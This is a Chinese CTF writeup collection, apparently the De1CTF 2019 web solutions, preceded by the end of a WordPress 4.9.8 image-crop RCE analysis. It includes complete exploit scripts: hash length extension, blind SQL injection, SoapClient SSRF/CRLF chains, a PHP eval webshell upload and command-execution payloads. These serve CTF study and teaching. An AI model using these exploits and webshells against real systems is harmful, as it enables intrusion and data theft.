从核心问题可知，这里返回的`meta_value`的值同样是可以被攻击者自由覆盖的，因此该值是攻击者可控的。
然后将该值添加到`$templates`数组中并传递给`get_query_template`函数。函数体如下：
调用`locate_template`函数，函数体如下：
这里做路径的拼接和判断。`$template_name`是可控的，因此结合上文的目录穿越，将新生成的图片放到theme-compat目录下即可。
然后返回该路径，回到最开始的地方：
调用include将图片包含，执行代码。
### **三、漏洞复现**
这里采用`mac os+php7.1+wordpress4.9.8+imagick6.9.7`复现。
首先，攻击者需要登录一个Author权限的账户。登录后添加一个名为createdir.jpg的图片：
然后更新该图片信息：
并使用burp抓包，更改如图所示：
然后开始裁剪图片，点击edit Image并抓包得到nonce并构造报文。
继续上传并裁剪一张名为finally.jpg的图片，成功创建文件:
然后新增加一篇文章，在update时继续抓包更改如下图所示：
完毕后。查看该文章，成功触发phpinfo!
### **四、补丁分析**
添加了`_wp_get_allowed_postdata`方法，将`meta_input`字段从POST报文中去掉了。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员，“黑雀攻击”概念首推者。截止目前，ADLab已通过CVE累计发布安全漏洞近1000个，通过
CNVD/CNNVD累计发布安全漏洞近500个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
[TOC]
> 广告一波:
>
> De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手，急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
# source + exp + wp
<https://github.com/De1ta-team/De1CTF2019>
# web
## SSRF Me
#### 预期解法:
哈希长度拓展攻击+CVE-2019-9948(urllib)
* * *
#### 题解:
代码很简单,主要是有根据传入的action参数判断,有两种模式,一种是请求Param参数的地址,并把结果写入`result.txt`,另一种是读取`result.txt`的内容,两种方式都需要`sign`值校验.并且`sign`值是通过拼接参数哈希加密,所以可以使用哈希长度拓展攻击.题目给出了`scan`模式的`sign`值.
1. 获取`scan`模式的`sign`值.
GET /geneSign?param=local-file:flag.txt HTTP/1.1
Host: 139.180.128.86
HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Length: 32
Connection: close
51796b52dd6e1108c89b7d5277d3ae0a
1. 使用`hashpump`生成新的`sign`值.
$ hashpump
Input Signature: 51796b52dd6e1108c89b7d5277d3ae0a
Input Data: local-file:flag.txtscan
Input Key Length: 16
Input Data to Add: read
eafd6ccd634ec29886babc843f1d8b86
local-file:flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x00\x00\x00\x00\x00\x00read
1. 把新生成的参数中`\x`替换成`%`,然后提交,即可获取flag
GET /De1ta?param=local-file:flag.txt HTTP/1.1
Host: 139.180.128.86
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%01%00%00%00%00%00%00read;sign=eafd6ccd634ec29886babc843f1d8b86
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.15.8
Content-Type: text/html; charset=utf-8
Content-Length: 65
Connection: close
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}
由于出题时候的粗心,导致题目产生非预期,太菜了,Orz
## 9calc
#### Part 1
Same to v1 and v2.
#### Part 2
The second task is to bypass RegExp `/^[0-9a-z\[\]\+\-\*\/ \t]+$/`.
Nestjs is a Nodejs Web Framework which is very similar to Spring, and it's
written by TypeScript. However, it's **NOT** Spring. TypeScript is a strongly-typed language, but it's designed for transcompiles to JavaScript so all type
definitions will be removed in runtime. We can just ignore `expression:
string` type hinting and pass an object to `expression`. This time,
`object.toString() === '[object Object]'`.
But we have no way to let `object.toString()` become a useful runnable code ─
if frontend and backends communicate by JSON, it's true. I believe that
everyone has used MongoDB. Nodejs can pass a JavaScript function to MongoDB,
which is not defined in the JSON standard. So they introduce BSON as their
data interchange format. This challenge also used BSON. Luckily, we can
simulate our object to a BSON object in JavaScript.
Let's read `mongodb/js-bson`'s serializer, we can know it detects the object's
type by `Object[_bsontype]` instead of `instanceof`.
<https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756>
} else if (value['_bsontype'] === 'Binary') {
index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {
After searching, I found that `Symbol` is the best type to emulate an object
as a string. I checked most of the BSON deserializers and `Symbol.toString()`
always returns the value of the symbol.
So let's build a Symbol like this:
{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}
#### Part 3
Build 3 polyglots in 3 languages to get flag.
#### Exp
const axios = require('axios')
const url = 'http://45.77.242.16/calculate'
const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('')
const payloads = [
// Nodejs
`1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,
// Python
`(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,
// PHP
`len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`,
]
const rets = []
const checkAnswer = (value) => axios.post(url, {
expression: {
value,
_bsontype: "Symbol"
},
isVip: true
}).then(p => p.data.ret === '1').catch(e => {})
const fn = async () => {
for (let j = 0; j < payloads.length; j++) {
const payload = payloads[j]
let flag = ''
let index = 0
while (true) {
for (let i = 0; i < symbols.length; i++) {
const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index))
if (ret) {
flag += symbols[i]
console.log(symbols[i])
i = 0
index++
}
}
break
}
rets.push(flag)
console.log(rets)
}
}
fn().then(p => {
console.log(rets.join(''))
})
#### Others
In this challenge, the BSON part was inspired by the `996Game` of `*CTF2019`.
The code of `996game` is:
GameServer.loadPlayer = function(socket,id){
GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){
I built `{ toHexString: 'aaa', length: 0, id: {length: 12} }` to bypass the
validation of `ObjectId` because MongoDB Driver used old version `js-bson`.
This maybe useful in MongoDB injection.
## Giftbox
以前 1.0 版本 writeup：
[impakho/ciscn2019_giftbox](https://github.com/impakho/ciscn2019_giftbox)
本题是 2.0 版本。
题目页面类似一个网页沙盒。
在源代码 `main.js` 里找到一个提示，提供了 `otp` 的 `python库` 和 `totp` 的参数，方便写脚本。
同样是 `main.js` 里，可以找到用来生成 `totp` 的 `key` 。
出题人注：服务端时间与客户端时间相差大于 `15秒` ，需要先计算正确的 `totp` 才能调用 `shell.php` 。
查看 `usage.md` 可以看到命令用法， `login` 存在注入，没有过滤，用户名和密码长度限制 `100`。
爆破密码脚本：
import requests
import urllib
import string
import pyotp
url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()
length = 0
left = 0x0
right = 0xff
while True:
mid = int((right - left) / 2 + left)
if mid == left:
length = mid
break
username = "'/**/or/**/if(length((select/**/password/**/from/**/users/**/limit/**/1))>=%d,1,0)#" % mid
password = "b"
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
res = s.get(payload).text
if 'incorrect' in res:
left = mid
else:
right = mid
print(length)
real_password = ''
for i in range(1, length+1):
left = 0x20
right = 0x7e
while True:
mid = int((right - left) / 2 + left)
if mid == left:
real_password += chr(mid)
break
username = "'/**/or/**/if(ascii(substr((select/**/password/**/from/**/users/**/limit/**/1),%d,1))>=%d,1,0)#" % (i, mid)
password = "b"
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
res = s.get(payload).text
if 'incorrect' in res:
left = mid
else:
right = mid
print(real_password)
if len(real_password) < i:
print('No.%d char not in range' % i)
break
得到密码：`hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}`
密码里提示有个隐藏命令 `sh0w_hiiintttt_23333` ，可以得到提示 `eval` 在 `launch` 的时候被调用。
`launch` 前需要先用 `targeting` 设置，不过对输入有限制，这里可以 `fuzz` 一下，得知 `code` 限制 `a-zA-Z0-9`
， `position` 限制 `a-zA-Z0-9})$({_+-,.` ，而且两者的长度也有限制。
这里需要用 `php可变变量` 构造和拼接 `payload` 。
构造用来 `getflag` 的 `payload` ，绕过 `open_basedir` 的限制，写个脚本就能 `getflag` 。
`getflag` 脚本：
import requests
import urllib
import string
import pyotp
url = 'http://127.0.0.1/shell.php?a=%s&totp=%s'
totp = pyotp.TOTP("GAXG24JTMZXGKZBU", digits=8, interval=5)
s = requests.session()
def login(password):
username = 'admin'
payload = 'login %s %s' % (username, password)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload)
def destruct():
payload = 'destruct'
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload)
def targeting(code, position):
payload = 'targeting %s %s' % (code, position)
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
s.get(payload)
def launch():
payload = 'launch'
payload = urllib.quote(payload)
payload = url % (payload, totp.now())
return s.get(payload).text
login('hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}')
destruct()
targeting('a','chr')
targeting('b','{$a(46)}')
targeting('c','{$b}{$b}')
targeting('d','{$a(47)}')
targeting('e','js')
targeting('f','open_basedir')
targeting('g','chdir')
targeting('h','ini_set')
targeting('i','file_get_')
targeting('j','{$i}contents')
targeting('k','{$g($e)}')
targeting('l','{$h($f,$c)}')
targeting('m','{$g($c)}')
targeting('n','{$h($f,$d)}')
targeting('o','{$d}flag')
targeting('p','{$j($o)}')
targeting('q','printf')
targeting('r','{$q($p)}')
print(launch())
Flag：`de1ctf{h3r3_y0uuur_g1fttt_0uT_0f_b0o0o0o0o0xx}`
## CloudMusic_rev
以前 1.0 版本 writeup：
[impakho/ciscn2019_final_web1](https://github.com/impakho/ciscn2019_final_web1)
本题是 2.0 版本。
先审计源代码，找到首页备注里有 `#firmware` 功能。
`#firmware` 功能需要登录，而且只有管理员有权限访问。
然后注册登录，在我的分享页面里看到一首英文歌，其它都是中文歌，而且这首英文歌在首页就已经放入到播放器列表里。
所以看分享 `#share` 页面源代码，能看到 `/media/share.php?` 后面还用 `btoa` 也就是
`base64编码`，所以这里不难发现有个任意文件读取。
尝试读取 `../index.php` 页面的源代码，访问
`http://127.0.0.1/media/share.php?Li4vaW5kZXgucGhw`。
限制了 `.php` 文件，根据提示，可以使用 `urlencode` 编码绕过。
成功读取到 `../index.php` 文件，那么其它文件也可以读取到。
然后就是读取网站目录下的文件，进行源代码审计。我们的目标就是拿到管理员密码，然后访问 `#firmware` 功能。
那么我们需要找到源代码里，哪里读取到管理员密码，这些位置并不多。这里漏洞点在 `/include/upload.php` 里，调用到
`/lib/parser.so` 进行音频文件解析，传入了管理员密码。
那么我们需要用 `IDA` 反编译 `/lib/parser.so` 文件，漏洞点在 `read_title` / `read_artist` /
`read_album` 三个函数里的 `strcpy` 处，`off by null`，刚好可以覆盖到 `mem_mframe_data` 后面的
`mframe_data` 第一字节为 `0x00`，那么读取的时候就能读到 `mem_mpasswd`，也就是 `管理员密码`。
相对于 1.0 版本，这是一个错误版本的 `parser.so`，因为它使用 `strlen` 获取字符串长度，致使 `unicode`
编码的字段无法正常读取，影响到一些 `mp3` 的信息读取，间接上增加了做题的难度。
那么我们可以构造字符串长度为 `0x70` 的字段，然后上传构造好的 `mp3` 文件，就能读取 `管理员密码`。
构造好的 `mp3` 文件见 `exp` 里。
我们使用 `管理员密码` 登录管理员账号，访问 `#firmware` 功能。
泄露这个页面的源代码文件，审计源代码，这里我们可以上传一个 `.so` 文件，然后猜文件名，然后可以加载这个 `.so` 文件。
那么我们可以使用 `__attribute__ ((constructor))` 来执行我们的代码。
就像这样：
#include <stdio.h>
#include <string.h>
char _version[0x130];
char * version = &_version;
__attribute__ ((constructor)) void fun(){
memset(version,0,0x130);
FILE * fp=popen("/usr/bin/tac /flag", "r");
if (fp==NULL) return;
fread(version, 1, 0x100, fp);
pclose(fp);
}
但是相对于 `1.0` 版本，这里没有回显。
所以我们可以向 `/uploads/firmware/` 或者 `/uploads/music/` 下写文件，然后去访问来读取到回显信息。
`www-data` 用户，对 `/flag` 文件没有读取权限。
我们需要找到一个具有 `suid` 权限的程序去读取，`/usr/bin/tac` 具有 `suid` 权限，能够读取到 `/flag` 文件的内容。
所以我们可以用 `/usr/bin/tac /flag > /var/www/html/uploads/firmware/xxxxx` 去读取到
`flag` 文件。
Flag：`de1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}`
## ShellShellShell
解题思路：赛题分为两层，需要先拿到第一层的webshell，然后做好代理，渗透内网获取第二层的webshell，最后在内网的主机中找到flag文件获取flag。(以下给出的脚本文件当中ip地址需要进行对应的修改)
第一层获取webshell主要通过以下的步骤：
1.可利用swp源码泄露，获取所有的源码文件。
2.利用insert sql注入拿到管理员的密码md5值，然后在md5网站上解密得到密码明文。
3.利用反序列化漏洞调用内置类`SoapClient`触发SSRF漏洞，再结合CRLF漏洞，实现admin登录，获取admin登录后的session值。
4.登录admin成功之后，会发现有一个很简单文件上传功能，上传木马即可getshell。
获取泄露的swp文件的脚本`GetSwp.py`
#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
url=part_url+i
print 'download %s '% url
os.system('curl '+url+'>source/'+i)
#### sql注入点分析
先在`config.php`看到了全局过滤：
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
这样过滤之后，简单的注入就不存在了。
在`user.php`中看到`insert`函数，代码如下：
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
看对`$value`的操作，先将`$value`数组的每个值用反引号引起来，然后再用逗号连接起来，变成这样的字符串：
`$value[0]`,`$value[1]`，`$value[1]`
然后再执行
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
preg_replace的意图是把反引号的单引号进行替换（核心操作是如果一对反引号中间的内容不存在逗号和反引号，就把反引号变为单引号,所以`$value`就变为了）
('$value[0]','$value[1]'，'$value[1]')
但是如果`$value`元素本身带有反引号，就会破坏掉拼接的结构，在做反引号变为单引号的时候造成问题，比如说:
考虑$value为 : array("admin`,`1`)#","password")
经过处理后，就变为了 : ('admin','1')#`,'password' )
相当于闭合了单引号，造成注入。
看到`insert`函数在`publish`函数中被调用，并且存在`$_POST['signature']`变量可控，注入点就在这里：
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
实质是把$value中的反引号替换为单引号时，如果$value中本来就带有反引号，就有可能导致注入(addslashes函数不会对反引号过滤)
#### sql_exp.py
利用sql注入漏洞注入出管理员账号密码的脚本。
#coding=utf-8
import re
import string
import random
import requests
import subprocess
import hashlib
from itertools import product
_target='http://20.20.20.128:11027/index.php?action='
def get_code_dict():
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution
def register(username, password):
resp = sess.get(_target+'register')
code = solve_code(resp.text)
sess.post(_target+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_target+'login')
code = solve_code(resp.text)
sess.post(_target+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_target+'publish', data={'signature':sig,'mood':mood})
get_code_dict()
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']
for i in range(1,33): # we know password is 32 chars (md5)
mood = '(select concat(`O:4:\"Mood\":3:{{s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i)
payload = 'a`, {}); -- -'.format(mood)
resp = publish(payload, '0')
resp = sess.get(_target+'index')
moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the html
admin_hash = ''.join(map(lambda k: chr(int(k)), moods))
print '[+] admin hash => ' + admin_hash
root@kali64:~# python sql_exp.py
[+] Genering 778688 captchas...
[+] register(cvnyshokxj, sjt0ayo3c1)
[+] login(cvnyshokxj, sjt0ayo3c1)
[+] user session => 7fublips3949q8vcs611fcdha2
[+] admin hash => c991707fdf339958eded91331fb11ba0
密码明文为`jaivypassword`
#### getshell_1
3.利用反序列化漏洞调用内置类`SoapClient`触发SSRF漏洞，再结合CRLF漏洞，实现admin登录，获取admin登录后的session值。
4.登录admin成功之后，会发现有一个很简单文件上传功能，上传木马即可getshell。
原理:要触发这个反序列化漏洞+SSRF+CRLF漏洞登录admin，需要先利用`/index.php?action=publish`的sql注入漏洞把序列化数据插入数据库中，然后再调用`/index.php?action=index`，这时会触发代码`$data
= $C->showmess();`，进而执行代码
$mood = unserialize($row[2]);
$country = $mood->getcountry();
这时就会触发反序列化漏洞-->SSRF漏洞-->CLRF漏洞-->登录admin。
关于第一层解题更详细的分析可以参见@wupco师傅的这篇文章`https://xz.aliyun.com/t/2148`
#### ssrf_crlf_getshell_exp.py
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
from itertools import product
_target = 'http://20.20.20.128:11027/'
_action = _target + 'index.php?action='
def get_code_dict():
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]
print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
#code
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution
def register(username, password):
resp = sess.get(_action+'register')
code = solve_code(resp.text)
sess.post(_action+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_action+'login')
code = solve_code(resp.text)
sess.post(_action+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})
def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login')
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code
get_code_dict()
print '[+] creating user session to trigger ssrf'
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']
print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`, {}); -- -'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'
resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
# resp = sess.post(_action+'publish')
# print resp.text
print '[+] uploading stager'
shell = {'pic': ('jaivy.php', '<?php @eval($_POST[jaivy]);?>', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)
# print resp.text
webshell_url=_target+'upload/jaivy.php'
print '[+] shell => '+webshell_url+'\n'
post_data={"jaivy":"system('ls -al');"}
resp = sess.post(url=webshell_url,data=post_data)
print resp.text
root@kali64:~# python ssrf_crlf_getshell_exp.py
[+] Genering 778688 captchas...
[+] creating user session to trigger ssrf
[+] register(a6skt6cjpr, rw2dz23fjv)
[+] login(a6skt6cjpr, rw2dz23fjv)
[+] user session => b4sd5q2jtb0tlh4lmqoj4mcb92
[+] getting fresh session to be authenticated as admin
[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237373a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d706f633672616771686d6e686933636e6e737136636a666332340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203230300d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d4a3165260d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- - [+] injecting payload through sqli
[+] triggering object deserialization -> ssrf
[+] admin session => poc6ragqhmnhi3cnnsq6cjfc24
[+] uploading stager
[+] shell => http://20.20.20.128:11027/upload/jaivy.php
total 12
drwxrwxrwx 1 root root 4096 Aug 5 18:07 .
drwxr-xr-x 1 root root 4096 Aug 5 18:03 ..
-rw-r--r-- 1 www-data www-data 29 Aug 5 18:07 jaivy.php
root@kali64:~#
这里构造反序列化+SSRF+CRLF的时候注意几个点
* `Content-Type` 要设置成 `application/x-www-form-urlencoded`
* 验证码
* PHPSESSID
* 账号密码
* Content-Length。小心“截断”和“多取”问题导致登录失败。建议把Content-Length设置得大一些，然后再code参数后面加个与符号隔开即可。(与符号代表变量的分隔)
\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a
另外再放出一个构造payload的php脚本
<?php
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=gv1jimuh2ptjp1j6o2apvqp0h2\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 100\r\n\r\nusername=admin&password=jaivypassword&code=400125&xxx=",'location'=>$location,'uri'=>$uri));
$c = (serialize($event));
echo urlencode($c);
#### getshell_2
进入内网之后通过做代理扫描即可发现还存在一个内网ip `172.18.0.2`，访问它能够发现如下代码
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name'])
{
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename))
{
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1])
{
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php')
{
if(strpos($_,$new_name)===false)
{
include($_);
}
else
{
echo "you can do it!";
}
}
unlink($new_name);
}
else
{
highlight_file(__FILE__);
}
此处getshell，对应的exp如下：
import requests
import hashlib
target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()
#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}
try:
for i in range(10):
requests.post(target,files=files,)
except Exception as e:
print(e)
for i in range(0,1000):
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
resp = requests.post(target,files=files,).text
if len(resp)>0:
print(resp,i)
break
至于如何找到flag文件，可以直接使用如下的`find`命令
find / -name "*flag*"
# misc
## Mine Sweeping
#### 分析
Elements.cs
class Elements: MonoBehaviour
{
void Awake()
{
int x = (int)transform.position.x;
int y = (int)transform.position.y;
//根据全局的数组设置该格子是雷还是空地
bIsMine = (((MayWorldBeAtPeace[x, y] ^ AreYouFerryMen[x, y]) - 233) / 2333) == 1 ? true : false;
//根据格子的position，将物体实例绑定到网格中
Grids._instance.eleGrids[(int)transform.position.x, (int)transform.position.y] = this;
//网格中对应格子数值设置
Grids._instance.DevilsInHeaven[(int)transform.position.x, (int)transform.position.y] = (bIsMine == true ? 1 : 0);
//隐藏reset按钮
resetButton = GameObject.FindGameObjectWithTag("resetButton");
if (resetButton)
resetButton.SetActive(false);
}
// Start is called before the first frame update
void Start()
{
//初始化时混淆地图
Grids._instance.ChangeMap();
//测试用
//DawnsLight();
}
...
void OnMouseUpAsButton()
{
//鼠标点击对应格子触发
if (!Grids._instance.bGameEnd && !bIsOpen)
{ //未翻开
//设置翻开
bIsOpen = true;
int nX = (int)transform.position.x;
int nY = (int)transform.position.y;
if (bIsMine)
{
//显示雷
SafeAndThunder(0);
Grids._instance.bGameEnd = true;
//游戏失败
Grids._instance.GameLose();
print("game over: lose");
}
else
{
//翻到的不是雷，显示周围雷的数量+翻开相邻的周围无雷的格子
int adjcentNum = Grids._instance.CountAdjcentNum(nX, nY);
SafeAndThunder(adjcentNum);
Grids._instance.Flush(nX, nY, new bool[Grids.w, Grids.h]);
}
if (Grids._instance.GameWin())
{
//游戏胜利
Grids._instance.bGameEnd = true;
print("game over: win");
}
}
}
}
Elements.cs是挂在每个格子身上的脚本，Awake中确定该格子是雷还是空地，Start中将地图中固定的六个摇摆位随机化，OnMouseUpAsButton检测当前格子是不是雷，并作出相应处理
Grid.cs
public bool GameWin()
{
foreach (Elements ele in eleGrids)
{
if (!ele.bIsOpen && !ele.bIsMine)
{ //存在没翻开且不是雷的
return false;
}
}
foreach (Elements ele in eleGrids)
{ //加载最后的图片
ele.DawnsLight();
}
return true;
}
public void ChangeMap()
{
System.Random ran = new System.Random((int)System.DateTime.Now.Millisecond);
const int SwingNum = 6;
const int Start = 0;
const int End = 100;
int[] SwingPosX = new int[SwingNum]{ 9, 15, 21, 10, 18, 12, };
int[] SwingPosY = new int[SwingNum]{ 0, 7, 15, 3, 16, 28 };
int[] RandomNum = new int[SwingNum];
for (int i = 0; i < SwingNum; i++)
{
RandomNum[i] = ran.Next(Start, End);
}
